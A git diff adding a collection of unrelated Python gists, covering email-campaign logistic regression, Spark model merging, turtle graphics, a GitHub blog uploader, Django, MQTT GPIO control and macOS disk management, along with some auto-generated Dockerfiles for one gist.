+    domain = st.split("@")[1]
+    res = 1
+    for s in domains:
+        if s in domain:
+            res = 0
+            break
+    return res
+
+def sendDuringWorkTime(time):
+    result = 0
+    if time >=9 and time <= 17:
+        result = 1
+    return result
+    
+mailCampaignData.c_title.fillna(mailCampaignData.e_settings_title, inplace=True)
+mailCampaignData.e_settings_title.fillna(mailCampaignData.c_title, inplace=True)
+
+mailCampaignData.c_send_time.fillna(mailCampaignData.e_send_time, inplace=True)
+mailCampaignData.e_send_time.fillna(mailCampaignData.c_send_time, inplace=True)
+
+l = mailCampaignData['e_action'].apply(hasOpened).to_frame(name='opened')
+
+k = mailCampaignData['c_title'].apply(isBlog).to_frame('isBlog')
+r = padas.concat([mailCampaignData, l, k], axis=1)
+
+# extract the hour of the day from the date columns we have
+extractedHours = padas.DataFrame(padas.DatetimeIndex(r['c_send_time']).hour,index = r.index, columns=['duringWork'])
+r = padas.concat([r, extractedHours], axis=1)
+r['duringWork'] = r['duringWork'].apply(sendDuringWorkTime)
+
+#deal with any NA values that we might have in our data
+r.e_campaign_id.fillna(r.c_campaign_id, inplace=True)
+r.e_email_address.fillna(r.c_email_address, inplace=True)
+
+r.c_campaign_id.fillna(r.e_campaign_id, inplace=True)
+r.c_email_address.fillna(r.e_email_address, inplace=True)
+j = r['e_email_address'].apply(isBusiness).to_frame('businessAddress')
+r = padas.concat([r, j], axis=1)
+
+# drop the stuff we do not need any more
+r.drop(['rec_list_id','c_campaign_id','c_email_address','c_title','e_campaign_id','e_settings_title','e_action', 'e_send_time', 'c_send_time','c_email_address', 'e_email_address'],axis=1, inplace=True)
+
+# we need to manualy add a value for the intercept for each of the observations, this is 
+# a requirement of the libraries we use.
+r['intercept']=1.0
+train_cols = r.columns[1:]
+
+logit = sm.Logit(r['opened'], r[train_cols])
+result = logit.fit()
+
+#print a summary of the fitted model, here we can start interpreting the results
+print result.summary()
+
+params = result.params
+conf = result.conf_int()
+conf['OR'] = params
+conf.columns = ['2.5%', '97.5%', 'OR']
+#calculate Odd rations together with confidence intervals.
+print np.exp(conf)
diff --git a/hard-gists/5dcd725d464858e9082f/._snippet.py b/hard-gists/5dcd725d464858e9082f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5dcd725d464858e9082f/._snippet.py differ
diff --git a/hard-gists/5dcd725d464858e9082f/snippet.py b/hard-gists/5dcd725d464858e9082f/snippet.py
new file mode 100644
index 00000000..10ff13a2
--- /dev/null
+++ b/hard-gists/5dcd725d464858e9082f/snippet.py
@@ -0,0 +1,56 @@
+from pyspark import SparkConf, SparkContext
+from sklearn.datasets import make_classification
+from sklearn.ensemble import ExtraTreesClassifier
+import pandas as pd
+import numpy as np
+
+conf = (SparkConf()
+         .setMaster("local[*]")
+         .setAppName("My app")
+         .set("spark.executor.memory", "1g"))
+sc = SparkContext(conf = conf)
+
+# Build a classification task using 3 informative features
+X, y = make_classification(n_samples=12000,
+                           n_features=10,
+                           n_informative=3,
+                           n_redundant=0,
+                           n_repeated=0,
+                           n_classes=2,
+                           random_state=0,
+                           shuffle=False)
+
+# or read from a file (for instance)
+#df = pd.read_csv('data.csv', sep=' ', header=None)
+#X = df[[1,2,3,4,5,6,7,8,9,10]].as_matrix()
+#y = df[[0]][0].tolist()
+
+# Partition data
+def dataPart(X, y, start, stop): return dict(X=X[start:stop, :], y=y[start:stop])
+
+def train(data):
+    X = data['X']
+    y = data['y']
+    return ExtraTreesClassifier(n_estimators=100,random_state=0).fit(X,y)
+
+# Merge 2 Models
+from sklearn.base import copy
+def merge(left,right):
+    new = copy.deepcopy(left)
+    new.estimators_ += right.estimators_
+    new.n_estimators = len(new.estimators_)  
+    return new
+
+data = [dataPart(X, y, 0, 4000), dataPart(X,y,4000,8000), dataPart(X,y,8000,12000)]
+
+forest = sc.parallelize(data).map(train).reduce(merge)
+
+importances = forest.feature_importances_
+std = np.std([tree.feature_importances_ for tree in forest.estimators_],
+             axis=0)
+indices = np.argsort(importances)[::-1]
+
+# Print the feature ranking
+print("Feature ranking:")
+for f in range(10):
+    print("%d. feature %d (%f)" % (f + 1, indices[f], importances[indices[f]]))
\ No newline at end of file
diff --git a/hard-gists/5df669df7b29806ca541/._snippet.py b/hard-gists/5df669df7b29806ca541/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5df669df7b29806ca541/._snippet.py differ
diff --git a/hard-gists/5df669df7b29806ca541/snippet.py b/hard-gists/5df669df7b29806ca541/snippet.py
new file mode 100644
index 00000000..c9dbf9c8
--- /dev/null
+++ b/hard-gists/5df669df7b29806ca541/snippet.py
@@ -0,0 +1,41 @@
+# -*- coding: utf-8 -*-
+import pandas
+from pymaps import Map, PyMap, Icon
+
+# import data
+data = pandas.read_csv('data.csv', index_col=0)
+
+# prepare map
+tmap = Map()
+tmap.zoom = 2
+
+# prepare icons
+iconRed = Icon('iconRed')
+iconRed.image = "http://labs.google.com/ridefinder/images/mm_20_red.png"
+iconRed.shadow = "http://labs.google.com/ridefinder/images/mm_20_shadow.png"
+iconBlue = Icon('iconBlue')
+iconBlue.image = "http://labs.google.com/ridefinder/images/mm_20_blue.png"
+iconBlue.shadow = "http://labs.google.com/ridefinder/images/mm_20_shadow.png"
+iconGreen = Icon('iconGreen')
+iconGreen.image = "http://labs.google.com/ridefinder/images/mm_20_green.png"
+iconGreen.shadow = "http://labs.google.com/ridefinder/images/mm_20_shadow.png"
+iconYellow = Icon('iconYellow')
+iconYellow.image = "http://labs.google.com/ridefinder/images/mm_20_yellow.png"
+iconYellow.shadow = "http://labs.google.com/ridefinder/images/mm_20_shadow.png"
+
+# create points
+for x, row in data.T.iteritems():
+    icon = iconRed.id
+    point = (row['Lat'], row['Long'], text, icon)
+    tmap.setpoint(point)
+
+
+# create googlemap
+gmap = PyMap(key='XXXXXXXXXXXXXXXXXX', maplist=[tmap])
+gmap.addicon(iconGreen)
+gmap.addicon(iconYellow)
+gmap.addicon(iconBlue)
+gmap.addicon(iconRed)
+
+# output
+open('Data.html','wb').write(gmap.showhtml())
\ No newline at end of file
diff --git a/hard-gists/5e96a65ee11698a26403/._snippet.py b/hard-gists/5e96a65ee11698a26403/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5e96a65ee11698a26403/._snippet.py differ
diff --git a/hard-gists/5e96a65ee11698a26403/snippet.py b/hard-gists/5e96a65ee11698a26403/snippet.py
new file mode 100644
index 00000000..910409ad
--- /dev/null
+++ b/hard-gists/5e96a65ee11698a26403/snippet.py
@@ -0,0 +1,124 @@
+# turtle.py
+# Basic Turtle graphics module for Pythonista
+# 
+# When run as a script, the classic Koch snowflake is drawn as a demo.
+# The module can also be used interactively or from other scripts:
+# >>> import turtle
+# >>> right(30)
+# >>> forward(100)
+# ...
+
+from canvas import set_size, draw_rect, draw_line, set_stroke_color
+from math import sin, cos, pi
+from time import sleep
+
+heading = 0.0
+pos = (0, 0)
+pen_is_down = True
+
+DELAY = 0.0
+
+def to_rad(deg):
+	return deg * pi/180.0
+
+def home():
+	global heading, pos
+	heading = 0
+	pos = (0, 0)
+
+def reset():
+	set_size(512, 512)
+	home()
+	set_stroke_color(0, 0, 0)
+	draw_rect(0, 0, 512, 512)
+	set_stroke_color(0, 0, 1)
+	
+# requires r,g,b values from 0.0 - 1.0
+
+def color(rd, gn, bl):
+		global r_color 
+		r_color = float(rd)
+		global g_color 
+		g_color = float(gn)
+		global b_color 
+		b_color = float(bl)
+color = set_stroke_color
+
+def forward(distance):
+	sleep(DELAY)
+	global pos
+	to = (pos[0] + sin(heading) * distance, pos[1] + cos(heading) * distance)
+	if pen_is_down:
+		draw_line(pos[0], pos[1], to[0], to[1])
+	pos = to
+
+fd = forward
+
+def backward(distance):
+	sleep(DELAY)
+	global pos
+	to = (pos[0] - sin(heading) * distance, pos[1] - cos(heading) * distance)
+	if pen_is_down:
+		draw_line(pos[0], pos[1], to[0], to[1])
+	pos = to
+
+bk = backward
+back = backward
+
+def right(angle):
+	global heading
+	heading += to_rad(angle)
+
+rt = right
+
+def left(angle):
+	global heading
+	heading -= to_rad(angle)
+
+lt = left
+
+def goto(x, y):
+	global pos
+	pos = (x, y)
+
+setpos = goto
+setposition = goto
+
+def setheading(angle):
+	global heading
+	heading = to_rad(angle)
+
+seth = setheading
+
+def pendown():
+	global pen_is_down
+	pen_is_down = True
+
+pd = pendown
+down = pendown
+
+def penup():
+	global pen_is_down
+	pen_is_down = False
+
+pu = penup
+up = penup
+
+reset()
+
+if __name__ == '__main__':
+	# Draw the Koch snowflake
+	# (adapted from http://commons.wikimedia.org/wiki/Koch_snowflake)
+	color(0,0,1)
+	setposition(100, 100)
+	koch_flake = 'FRFRF'
+	iterations = 5
+	for i in range(iterations):
+		koch_flake = koch_flake.replace('F', 'FLFRFLF')
+	for move in koch_flake:
+		if move == 'F':
+			forward(100.0 / (3 ** (iterations - 1)))
+		elif move == 'L':
+			left(60)
+		elif move == 'R':
+			right(120)
\ No newline at end of file
diff --git a/hard-gists/5e9a7c0d46cfdfe00104/._snippet.py b/hard-gists/5e9a7c0d46cfdfe00104/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5e9a7c0d46cfdfe00104/._snippet.py differ
diff --git a/hard-gists/5e9a7c0d46cfdfe00104/snippet.py b/hard-gists/5e9a7c0d46cfdfe00104/snippet.py
new file mode 100644
index 00000000..bc8cee03
--- /dev/null
+++ b/hard-gists/5e9a7c0d46cfdfe00104/snippet.py
@@ -0,0 +1,97 @@
+#coding: utf-8
+import keychain
+import console
+import editor
+ 
+import time
+import re
+ 
+import requests
+import json
+import base64
+ 
+SITE_BRANCH = 'gh-pages' # either main or gh-pages
+COMMITTER = {'name': '$github_username', 'email': '$github_email'}
+ 
+username = '$github_username'
+token = '$github_token'
+repo = '$github_repo'
+ 
+# Mangle the post ;)
+post_text = editor.get_text()
+ 
+post_sections = post_text.split('---')
+if len(post_sections) > 1:
+	yaml_header = post_sections[1].splitlines()
+	
+  # Find the title in the YAML
+	post_title = None
+	date = None
+	for line in yaml_header:
+		if line[:6] == 'title:':
+			post_title = line[6:].strip()
+		elif line[:5] == 'date:':
+			date = line[5:].strip()[:10]
+		  
+	if post_title:
+		safe_title = re.sub('[^a-zA-Z0-9\s]', '', post_title).replace(' ', '-')
+		safe_title.replace('--', '-')
+		if not date:
+			date = time.strftime('%Y-%m-%d', time.gmtime())
+    
+		post_filename = '_posts/%s-%s.markdown' % (date, safe_title)
+		
+		URL = 'https://api.github.com/repos/%s/%s/contents/%s' % (username, repo, post_filename)
+		
+		header = {
+			'Authorization': 'token %s' % token,
+			'User-Agent': username
+		}
+		
+		get_data = {
+			'path': post_filename,
+			'ref': SITE_BRANCH
+		}
+ 
+		response = requests.get(URL, headers=header, params=get_data)
+		response_json = response.json()
+ 
+		if response.status_code == 404:     # File doesn't exist, create it.
+			data = {
+				'path': post_filename,
+				'content': base64.b64encode(post_text),
+				'message': 'Blog Post - %s' % post_title,
+				'branch': SITE_BRANCH,
+				'committer': COMMITTER
+			}
+ 
+			response = requests.put(URL, headers=header, data=json.dumps(data))
+			
+			if response.status_code == 201:
+				console.hud_alert("Blog post created successfully.", 'success', 2)
+			else:
+				console.alert("Commit failed.")
+		elif response.status_code == 200:   # File exists, update it.
+			data = {
+				'path': post_filename,
+				'content': base64.b64encode(post_text),
+				'message': 'Blog Post - %s' % post_title,
+				'branch': SITE_BRANCH,
+				'committer': COMMITTER,
+				'sha': response_json['sha']
+			}
+ 
+			response = requests.put(URL, headers=header, data=json.dumps(data))
+			
+			if response.status_code == 200:
+				console.hud_alert("Blog post updated successfully.", 'success', 2)
+			else:
+				console.alert("Commit failed.")
+		else:                        # Something went wrong!
+			console.alert("There was a problem with the server.")
+ 
+	else:
+		console.alert("Couldn't find a title.\n\nAction Halted.")
+		
+else:
+	console.alert("No YAML header found.\n\nAction Halted.")
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/._snippet.py b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/._snippet.py differ
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/Dockerfile-llm-3.7 b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/Dockerfile-llm-3.7
new file mode 100644
index 00000000..5e80e6ac
--- /dev/null
+++ b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/Dockerfile-llm-3.7
@@ -0,0 +1,12 @@
+# FROM is the found expected Python version
+FROM python:3.7
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","django==4.0.5"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","jsonschema==4.15.1==3.2.0"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/Dockerfile-llm-3.8 b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/Dockerfile-llm-3.8
new file mode 100644
index 00000000..f8d6e397
--- /dev/null
+++ b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/Dockerfile-llm-3.8
@@ -0,0 +1,10 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/description_3.8.txt b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/description_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/django_3.7.txt b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/django_3.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/django_3.8.txt b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/django_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/from __future__ import unicode_literals_3.8.txt b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/from __future__ import unicode_literals_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/items_3.8.txt b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/items_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/jsonschema==4_3.7.txt b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/jsonschema==4_3.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/jsonschema_3.7.txt b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/jsonschema_3.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/models_3.7.txt b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/models_3.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/related_descriptors_3.7.txt b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/related_descriptors_3.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/title_3.8.txt b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/title_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/type_3.8.txt b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/modules/type_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/snippet.py b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/snippet.py
new file mode 100644
index 00000000..da5209a8
--- /dev/null
+++ b/hard-gists/5eaed8a5c299e5282d066a1fbc03152c/snippet.py
@@ -0,0 +1,44 @@
+from __future__ import unicode_literals
+
+from django.db import models
+from django.db.models.fields.related_descriptors import ForwardManyToOneDescriptor  # noqa
+
+
+class RelationNotLoaded(Exception):
+    pass
+
+
+class StrictForwardManyToOne(ForwardManyToOneDescriptor):
+    def __get__(self, instance, cls=None):
+        try:
+            return getattr(instance, self.cache_name)
+        except AttributeError:
+            raise RelationNotLoaded(
+                'Relation `{rel}` not loaded. Use `select_related` or '
+                '`fetch_{rel}`'.format(rel=self.field.name)
+            )
+
+    def explicit_get(self, instance, cls=None):
+        return super(StrictForwardManyToOne, self).__get__(instance, cls)
+
+
+class StrictForeignKey(models.ForeignKey):
+
+    def contribute_to_class(self, cls, name, **kwargs):
+        super(StrictForeignKey, self).contribute_to_class(cls, name, **kwargs)
+        #  Override the descriptor defined by ForeignObject
+        descriptor = StrictForwardManyToOne(self)
+        setattr(cls, self.name, descriptor)
+        #  Add a method so you don't always have to use select_related
+        fetch_name = 'fetch_{rel}'.format(rel=self.name)
+        setattr(cls, fetch_name, lambda inst: descriptor.explicit_get(inst))
+
+
+# Create your models here.
+class Author(models.Model):
+    name = models.TextField()
+
+
+class Book(models.Model):
+    title = models.TextField()
+    author = StrictForeignKey(Author, on_delete=models.PROTECT, related_name='books')
diff --git a/hard-gists/5eba991c39426ca42cbb/._snippet.py b/hard-gists/5eba991c39426ca42cbb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5eba991c39426ca42cbb/._snippet.py differ
diff --git a/hard-gists/5eba991c39426ca42cbb/snippet.py b/hard-gists/5eba991c39426ca42cbb/snippet.py
new file mode 100644
index 00000000..8db2e910
--- /dev/null
+++ b/hard-gists/5eba991c39426ca42cbb/snippet.py
@@ -0,0 +1,84 @@
+#!/usr/bin/env python
+#
+# Replacement `MtimeFileWatcher` for App Engine SDK's dev_appserver.py,
+# designed for OS X. Improves upon existing file watcher (under OS X) in
+# numerous ways:
+#
+#   - Uses FSEvents API to watch for changes instead of polling. This saves a
+#     dramatic amount of CPU, especially in projects with several modules.
+#   - Tries to be smarter about which modules reload when files change, only
+#     modified module should reload.
+#
+# Install:
+#   $ pip install macfsevents
+#   $ cp mtime_file_watcher.py \
+#        sdk/google/appengine/tools/devappserver2/mtime_file_watcher.py
+import os
+import time
+from fsevents import Observer
+from fsevents import Stream
+from os.path import abspath, join
+
+GOPATH = os.environ['GOPATH'].split(':')[0]
+PROJECT_DIR = abspath(join(GOPATH, '..', '..'))
+
+# Set of packages I want to watch for changes in that are shared among modules.
+# That is, when any of these change, ALL of the modules should be restarted.
+NON_MODULE_DIRS = [join(PROJECT_DIR, p) for p in os.listdir(PROJECT_DIR) if
+                   p not in set(['api', 'checkout', 'platform', 'preorder', 'store']) and
+                   not p.startswith('.') and
+                   p != "assets" and
+                   p != "node_modules" and
+                   p != "resources" and
+                   p != "static" and
+                   p != "test"]
+
+# Only watch for changes to .go or .yaml files
+WATCHED_EXTENSIONS = set(['.go', '.yaml'])
+
+
+class MtimeFileWatcher(object):
+    SUPPORTS_MULTIPLE_DIRECTORIES = True
+
+    def __init__(self, directories, **kwargs):
+        self._changes = _changes = []
+
+        # Path to current module
+        module_dir = directories[0]
+
+        # Paths to watch
+        paths = [module_dir]
+
+        # Explicitly adding paths outside of module dir.
+        for path in NON_MODULE_DIRS:
+            paths.append(path)
+
+        self.observer = Observer()
+
+        def callback(event, mask=None):
+            # Get extension
+            try:
+                ext = os.path.splitext(event.name)[1]
+            except IndexError:
+                ext = None
+
+            # Add to changes if we're watching a file with this extension.
+            if ext in WATCHED_EXTENSIONS:
+                _changes.append(event.name)
+
+        self.stream = Stream(callback, file_events=True, *paths)
+
+    def start(self):
+        self.observer.schedule(self.stream)
+        self.observer.start()
+
+    def changes(self, timeout=None):
+        time.sleep(0.1)
+        changed = set(self._changes)
+        del self._changes[:]
+        return changed
+
+    def quit(self):
+        self.observer.unschedule(self.stream)
+        self.observer.stop()
+        self.observer.join()
\ No newline at end of file
diff --git a/hard-gists/5eda4214788429e9d09c060cca10971f/._snippet.py b/hard-gists/5eda4214788429e9d09c060cca10971f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5eda4214788429e9d09c060cca10971f/._snippet.py differ
diff --git a/hard-gists/5eda4214788429e9d09c060cca10971f/snippet.py b/hard-gists/5eda4214788429e9d09c060cca10971f/snippet.py
new file mode 100644
index 00000000..220f4961
--- /dev/null
+++ b/hard-gists/5eda4214788429e9d09c060cca10971f/snippet.py
@@ -0,0 +1,43 @@
+#!/usr/bin/env python
+
+import paho.mqtt.client as mqtt
+import RPi.GPIO as GPIO
+
+def on_connect(client, userdata, rc):
+    #print ("Connected with rc: " + str(rc))
+    client.subscribe("kwf/demo/led")
+
+def on_message(client, userdata, msg):
+    #print ("Topic: "+ msg.topic+"\nMessage: "+str(msg.payload))
+    if "green" in msg.payload:
+        #print("  Green on!")
+        GPIO.output(11, True)
+    else:
+        #print("  Green off!")
+        GPIO.output(11, False)
+    if "yellow" in msg.payload:
+        #print("  Yellow on!")
+        GPIO.output(12, True)
+    else:
+        #print("  Yellow off!")
+        GPIO.output(12, False)
+    if "red" in msg.payload:
+        #print("  Red on!")
+        GPIO.output(13, True)
+    else:
+        #print("  Red off!")
+        GPIO.output(13, False)
+        
+
+client = mqtt.Client()
+client.on_connect = on_connect
+client.on_message = on_message
+
+client.connect("test.mosquitto.org", 1883, 60)
+
+GPIO.setmode(GPIO.BOARD)
+GPIO.setup(11, GPIO.OUT)
+GPIO.setup(12, GPIO.OUT)
+GPIO.setup(13, GPIO.OUT)
+
+client.loop_forever()
diff --git a/hard-gists/5f1baad30024a898e9f2115ac9b0c631/._snippet.py b/hard-gists/5f1baad30024a898e9f2115ac9b0c631/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5f1baad30024a898e9f2115ac9b0c631/._snippet.py differ
diff --git a/hard-gists/5f1baad30024a898e9f2115ac9b0c631/snippet.py b/hard-gists/5f1baad30024a898e9f2115ac9b0c631/snippet.py
new file mode 100644
index 00000000..4924779a
--- /dev/null
+++ b/hard-gists/5f1baad30024a898e9f2115ac9b0c631/snippet.py
@@ -0,0 +1,134 @@
+import objc
+from Foundation import NSBundle
+
+# Predefine some opaque types
+DASessionRef = objc.createOpaquePointerType('DASessionRef', '^{__DASession=}', None)
+DADiskRef    = objc.createOpaquePointerType('DADiskRef',    '^{__DADisk=}',    None)
+
+# Load DiskManagement framework classes
+DiskManagment = objc.loadBundle('DiskManagment', globals(), bundle_path='/System/Library/PrivateFrameworks/DiskManagement.framework')
+
+# Load DiskArbitration framework functions
+DiskArbitration_bundle = NSBundle.bundleWithIdentifier_('com.apple.DiskArbitration')
+functions = [
+             ('DASessionCreate',  '@o@'),
+             ('DADiskGetBSDName', '*^{__DADisk=}'),
+            ]
+objc.loadBundleFunctions(DiskArbitration_bundle, globals(), functions)
+
+class diskRef(object):
+    def __init__(self, dObj, controller, rawRef=False):
+        if rawRef:
+            self.cf_type    = objc.objc_object(c_void_p=dObj.__pointer__)
+            self.ref_type   = dObj
+        else:
+            self.cf_type    = dObj
+            self.ref_type   = DADiskRef(c_void_p=(dObj.__c_void_p__().value))
+        self.controller = controller
+    def __repr__(self):
+        return self.cf_type.__repr__()
+    @property
+    def devname(self):
+        return self.controller.shared.deviceNodeForDisk_error_(self.ref_type, None)
+    @property
+    def volname(self):
+        return self.controller.shared.volumeNameForDisk_error_(self.ref_type, None)
+    @property
+    def type(self):
+        return self.controller.shared.ioContentOfDisk_error_(self.ref_type, None)
+    @property
+    def facts(self):
+        possible = [x for x in dir(self.controller.shared) if (x.startswith('is') and x.endswith('_error_'))]
+        return [y for y in sorted([x.split('is',1)[-1].rsplit('_error_',1)[0] for x in possible]) if not '_' in y]
+    @property
+    def physical_store(self):
+        # This APFS and other disk types as well supposedly, looking at the code - like CoreStorage, SoftRAID ....
+        try:
+            results = self.controller.shared.physicalDisksForDisk_storageSystemName_error_(self.ref_type, None, None)
+            if results[0] is not None:
+                return diskRef(results[0], self.controller)
+        except:
+            pass
+        return None
+    def Is(self, factname):
+        if factname not in self.facts:
+            raise Exception('no such fact, check disk.facts')
+        selector = getattr(self.controller.shared, 'is' + factname + '_error_', None)
+        if selector is None:
+            raise Exception('no such fact, check disk.facts')
+        return (selector)(self.ref_type,None)
+
+class diskList(object):
+    # This is dict-list hybrid that allows for slicing as well as lookups by dev name
+    def __init__(self, disks):
+        self._disk_list = disks[:]
+        self._disk_dict = dict()
+        for i,d in enumerate(disks):
+            self._disk_dict[d.devname] = d
+    def __iter__(self):
+        return iter(self._disk_list)
+    def __getitem__(self, index):
+        if isinstance(index, slice):
+            return self._disk_list.__getitem__(index)
+        elif isinstance(index, int):
+            return self._disk_list.__getitem__(index)
+        elif isinstance(index, diskRef):
+            # someone passed in a disk, so .. give them back the disk?
+            return index
+        return self._disk_dict[index]
+    def __repr__(self):
+        return self._disk_list.__repr__()
+
+class diskManager(object):
+    def setup_managers(self):
+        # Create a DiskArb session
+        session = DASessionCreate(None)
+        # Get the shared disk manager
+        self.shared = DMManager.sharedManager()
+        session_p = DASessionRef(c_void_p=(session.__c_void_p__().value))
+        # connect the DA session
+        self.shared.setDefaultDASession_(session_p)
+        self.shared.setLanguage_('English')
+        # init the CS manager
+        self.shared_cs = DMCoreStorage.alloc().initWithManager_(self.shared)
+    def __init__(self):
+        self.shared = None
+        self.shared_cs = None
+        self.setup_managers()
+    def _formatted_disks(self, disk_list):
+        all_disks = sorted([diskRef(d, self) for d in disk_list], key=lambda x: x.devname)
+        return diskList(all_disks)
+    @property
+    def topLevelDisks(self):
+        return self._formatted_disks(self.shared.topLevelDisks())
+    @property
+    def disks(self):
+        return self._formatted_disks(self.shared.disks())
+    def diskForPath(self, path):
+        return diskRef(self.shared.diskForPath_error_(path, None), self, rawRef=True)
+
+# Example usage
+#
+# from diskman import diskManager
+# dm = diskManager()
+# 
+# >>> dm.disks
+# [<DADisk 0x7fd748434520 [0x7fff7c0b1440]>{id = /dev/disk0}, <DADisk 0x7fd748434550 [0x7fff7c0b1440]>{id = /dev/disk0s1}, ...
+# 
+# >>> dm.diskForPath('/')
+# <DADisk 0x7fa041c1a180 [0x7fff7c0b1440]>{id = /dev/disk1}
+# 
+# >>> dm.diskForPath('/').volname
+# u'Macintosh HD'
+# 
+# >>> dm.diskForPath('/').devname
+# u'/dev/disk1'
+# 
+# >>> dm.disks['/dev/disk1'].facts
+# ['AppleDiskImage', 'AppleRAIDDisk', 'AppleRAIDMemberDisk', 'AppleRAIDSetDisk', 'AppleRAIDSpareDisk', 'AppleRAIDUUID', ...
+# 
+# >>> dm.disks['/dev/disk1'].Is('EjectableDisk')
+# 0
+#
+# >>> dm.disks['/dev/disk1'].Is('InternalDisk')
+# 1
diff --git a/hard-gists/5f256b69a07a43f978b4/._snippet.py b/hard-gists/5f256b69a07a43f978b4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5f256b69a07a43f978b4/._snippet.py differ
diff --git a/hard-gists/5f256b69a07a43f978b4/snippet.py b/hard-gists/5f256b69a07a43f978b4/snippet.py
new file mode 100644
index 00000000..49702619
--- /dev/null
+++ b/hard-gists/5f256b69a07a43f978b4/snippet.py
@@ -0,0 +1,157 @@
+#! /usr/bin/env python3
+'''lcp_export.py
+Extracts URL schemes from a Launch Center Pro backup file to a
+json file, in order to facilitate batch editing on a computer. Also
+creates an updated backup file after modification of the json.
+python3 lcp_export.py --help
+Details: http://n8h.me/1meUxTi
+'''
+
+import re
+import subprocess
+import time
+import json
+import argparse
+import html
+import html.parser
+
+import logging
+logging.basicConfig(
+    level=logging.WARNING,
+    format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',
+    datefmt='%Y-%m-%d %H:%M:%S',
+    filename='lcp_export.log',
+    filemode='a'
+    )
+
+logger_name = str(__file__) + " :: " + str(__name__)
+logger = logging.getLogger(logger_name)
+
+ts = str(int(time.time()))
+
+out_xml = '{}_xml.lcpbackup'.format(ts)
+out_binary = '{}_binary.lcpbackup'.format(ts)
+out_json = '{}_lcp_urls.json'.format(ts)
+
+def read_lcp_backup(lcp_file):
+    args = ['plutil', '-convert', 'xml1', lcp_file, '-o', out_xml]
+    subprocess.call(args)
+    with open(out_xml) as r:
+        pl = r.read()
+    return pl
+
+def find_urls(pl):
+
+    urls_dict = {}
+
+    marker = re.compile(
+        r'<string>x-coredata://.*?/LaunchAction/(p\d+)</string>' \
+        '\s+?<string>(.*?)</string>' \
+        '\s+?<string>(.*?)</string>'
+        )
+
+    for each_url in re.finditer(marker, pl):
+        try:
+            url_id = each_url.group(1)
+            url_title_raw =  each_url.group(2)
+            url_content_raw =  each_url.group(3)
+        except AttributeError as e:
+            logger.error("Problem matching {}".format(each_url.group(0)))
+
+        url_title = html.parser.HTMLParser().unescape(url_title_raw)
+        url_content = html.parser.HTMLParser().unescape(url_content_raw)
+
+        urls_dict.update({url_id: {'title': url_title, 'url': url_content}})
+
+    return urls_dict
+
+def update_pl(pl, my_json):
+
+    for url_scheme in my_json:
+        marker = re.compile(
